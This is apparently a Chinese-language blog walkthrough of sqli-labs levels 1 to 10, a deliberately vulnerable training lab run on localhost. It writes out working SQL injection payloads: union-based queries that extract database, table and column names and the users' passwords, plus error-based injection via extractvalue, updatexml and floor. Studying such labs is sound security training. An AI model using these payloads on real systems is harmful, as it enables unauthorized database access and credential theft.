sqli-labs大闯关
2023-11-26 18:06:15

Less-1

Alt text
他让我们输入一个id
Alt text
输入id=1后出现用户

http://127.0.0.1/Less-1/?id=1

Alt text
输入2-1后任没出现id=1的用户,说明是字符型

http://127.0.0.1/Less-1/?id=2-1

Alt text
在1后面加’出现报错,说明是单引号闭合。可以使用#,–+来闭合后面的引号。

http://127.0.0.1/Less-1/?id=1‘ order by 4 –+

Alt text
Alt text
使用order by 来确定字节数为3

http://127.0.0.1/Less-1/?id=1‘ order by 4 –+

Alt text
使用-1来报错,并用select 1,2,3来确定回显位

http://127.0.0.1/Less-1/?id=-1‘ union select 1,2,3 –+

Alt text
使用database()爆出数据库名

http://127.0.0.1/Less-1/?id=-1‘ union select 1,database(),3 –+

Alt text
在准备爆出表明时 提示说回显内容超过一行,可以使用limit来加以限制,使数据一行一行显现出来

http://127.0.0.1/Less-1/?id=-1‘ union select 1,(select table_name from information_schema.tables where table_schema=database()) ,3 –+

Alt text

http://127.0.0.1/Less-1/?id=-1‘ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1) ,3 –+

Alt text
也可以使用group_concat()函数来将几个表明连接在一起,但如果限制回显字数的话,这个方法也看不到全部的数据。在其中我们看到了users这个表名。

http://127.0.0.1/Less-1/?id=-1‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’) ,3 –+

Alt text
再将其列名爆出来,看到了usernmae和password

http://127.0.0.1/Less-1/?id=-1‘ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’) ,3 –+

Alt text
将最重要的数据爆破出来了

http://127.0.0.1/Less-1/?id=-1‘ union select 1,(select group_concat(username,’‘) from users ) ,(select group_concat(password,’‘) from users ) –+

Less-2

Alt text
输入2正常

Alt text
输入2-1为id=1的画面,即该注入为数字型,不需要闭合就可以执行MySQL语句

Alt text
order by 判断行数,这几步基本一样

http://127.0.0.1/Less-2/?id=1 order by 4

Alt text
对了,要是想显示出1,2,3需要将前面的id设为非法值。

http://127.0.0.1/Less-2/?id=-1 union select 1,2,3

Alt text
爆出库名和表名,我感觉库名应该是不需要爆出来的,因为直接写database()就可以了

http://127.0.0.1/Less-2/?id=-1 union select 1,database(),(select table_name from information_schema.tables where table_schema=database() limit 2,1)

Less-3

Alt text
第三关也没什么特殊的,只需要注意下闭合方式就行了,1,2两题都是’闭合,第3题是’)闭合

http://127.0.0.1/Less-3/?id=-1‘) union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),(select column_name from information_schema.columns where table_schema=database() limit 8,1) –+

Less-4

Alt text
闭合方式是”)

http://127.0.0.1/Less-4/?id=-1“) union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),(select column_name from information_schema.columns where table_schema=database() limit 8,1) –+

Less-5

Alt text
无回显
从这里我们就需要熟悉三个函数了,使用它们来产生报错注入

floor() updatexml() 和 ExtracValue()这三个函数
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才>会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。

Alt text
‘闭合

Alt text
闭合完成

Alt text
使用extractvalue(1,2)使其报错,该函数中的1,不需要管,2才是我们的报错显示的地方,其中报错符号是~,十六进制也就是0x7e,如何我们将其与数据库连接起来就可以通过报错看到库名了,我们在这里使用concat(1,2)把两者来连接在一起。

http://localhost/Less-5/?id=1‘ union select 1,2,extractvalue(1,concat(0x7e,database()))–+

Alt text
在报错注入中,显现出来的字符是有个数限制的,这时我们可以使用substring(1,2,3)来限制我们的输出内容,1这个位置是填限制的内容,2是从哪里可以是显示,3是显示多少个字符。

http://localhost/Less-5/?id=1‘ union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,’~’,password) from users),1,30)))–+

Alt text
updatexml(1,2,3)其实也是一样的,只是里面是三个参数,使用报错也都是一样的。

http://localhost/Less-5/?id=1‘ union select 1,2,updatexml(1,concat(0x7e,database()),3)–+

Alt text
floor()比较复杂,首先需要知道count(*)是来统计个数的,这也是报错的根源,然后concat_ws(1,2,3)是用1将2和3连接在一起,1可以随便填一个符号,然后2可以是查询语句,3中使用floor(),floor中加rand(0)*2,差不多就是这样,concat_ws()之后需要分组

http://localhost/Less-5/?id=1‘ union select 2,count(*),concat_ws(‘-‘,(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a–+

Less-6

Alt text
闭合方式改变了

Less-7 Less-8 基本都一样

Less-9 Less-10

两关盲注不会
但我会sqlmap
Alt text
Alt text
Alt text
Alt text
Alt text

Prev
2023-11-26 18:06:15
Next